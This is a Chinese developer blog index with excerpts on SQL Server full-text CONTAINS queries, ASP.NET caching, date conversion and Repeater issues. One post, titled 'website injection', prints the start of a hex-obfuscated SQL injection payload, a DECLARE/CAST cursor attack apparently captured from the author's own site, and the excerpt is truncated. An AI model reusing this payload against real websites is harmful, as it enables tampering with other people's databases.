SQL2005 全文索引 contains
    
            
摘要:原写法where contains (job_job.[jobTitle],'"销售*"') or contains(job_job.jobDesc,'"销售*"')or contains(job_job.jobRequirement,'"销售*"')改为:where contains ((job_job.[jobTitle],job_job.jobDesc,job_job.jobRequirem...
        
阅读全文
                posted @ 
2010-08-31 14:04 
freexiaoyu
        
阅读(515) 
         
        推荐(0)     
             
            
            
    SQL 语句执行时间
    
            
摘要:SET STATISTICS io ONSET STATISTICS time ON goSELECT [jobTitle] FROM [job_job]where contains([jobTitle],'工')goset statistics profile offset statistics io offset statistics time off
        
阅读全文
                posted @ 
2010-08-28 10:30 
freexiaoyu
        
阅读(379) 
         
        推荐(0)     
             
            
            
    SQL 全文索引 CONTAINS
    
            
摘要:Description 列中有任意单词以“serve”开头的文档WHERE CONTAINS(Description, 'serve*')Description 列中有任意短语以“comp”开头且下一个单词以“serve”开头的文档。一个文档必须匹配所有术语才能将其视为匹配项。WHERE CONTAINS(Descriptio...
        
阅读全文
                posted @ 
2010-08-28 10:29 
freexiaoyu
        
阅读(1228) 
         
        推荐(0)     
             
            
            
    网站注入
    
            
摘要:注入代码;dECLaRe%20@s%20vArchAR(4000);SEt%20@S=Cast(0X4445634C615245204074205661526368615228323535292C404320564152434861722832353529206445436C617245207441424C655F437552734F5220635552536F7220466F722073654C...
        
阅读全文
                posted @ 
2010-08-27 10:46 
freexiaoyu
        
阅读(389) 
         
        推荐(0)     
             
            
            
    Convert.ToDateTime 转换问题
    
            
摘要:今天在添加用户生日的时候用到这个最早开始判断是Convert.ToDateTime(mybasi.birthday).Year.ToString() == "" ? "1960" : Convert.ToDateTime(mybasi.birthday).Year.ToString();如果年为空就给一个默认值,但是在浏览的时候还是赋不上值,当调试到Convert.ToDateTime(mybas...
        
阅读全文
                posted @ 
2010-08-19 10:48 
freexiaoyu
        
阅读(1354) 
         
        推荐(0)     
             
            
            
    asp.net 页面后退清空缓存
    
            
摘要:Response.Expires = 0; Response.Buffer = true; Response.ExpiresAbsolute = DateTime.Now.AddSeconds(-1); Response.AddHeader("pragma", "no-cache"); Response.CacheControl = "no-cache";
        
阅读全文
                posted @ 
2010-08-12 10:13 
freexiaoyu
        
阅读(612) 
         
        推荐(0)     
             
            
            
    DataView 日期筛选
    
            
摘要:string strtime = DateTime.Now.AddDays(-61).ToString("yyyy-MM-dd"); DataView dv = new DataView(ds.Tables[0]); dv.RowFilter = "addtime>='" + strtime + "'"; this.lblFavCont.Text = dv.Count.ToString();
        
阅读全文
                posted @ 
2010-08-10 16:39 
freexiaoyu
        
阅读(472) 
         
        推荐(0)     
             
            
            
    EnableViewState="false" 引发Repeater删除无效
    
            
摘要:EnableViewState="false" 引发Repeater删除无效今天测试Repeater删除 <asp:LinkButton ID="linbtnDels" runat="server"  CommandArgument='<%# Eval("id") %>' oncommand="linbtnDels_Command">删除</asp:LinkButto...
        
阅读全文
                posted @ 
2010-08-08 09:16 
freexiaoyu
        
阅读(607) 
         
        推荐(0)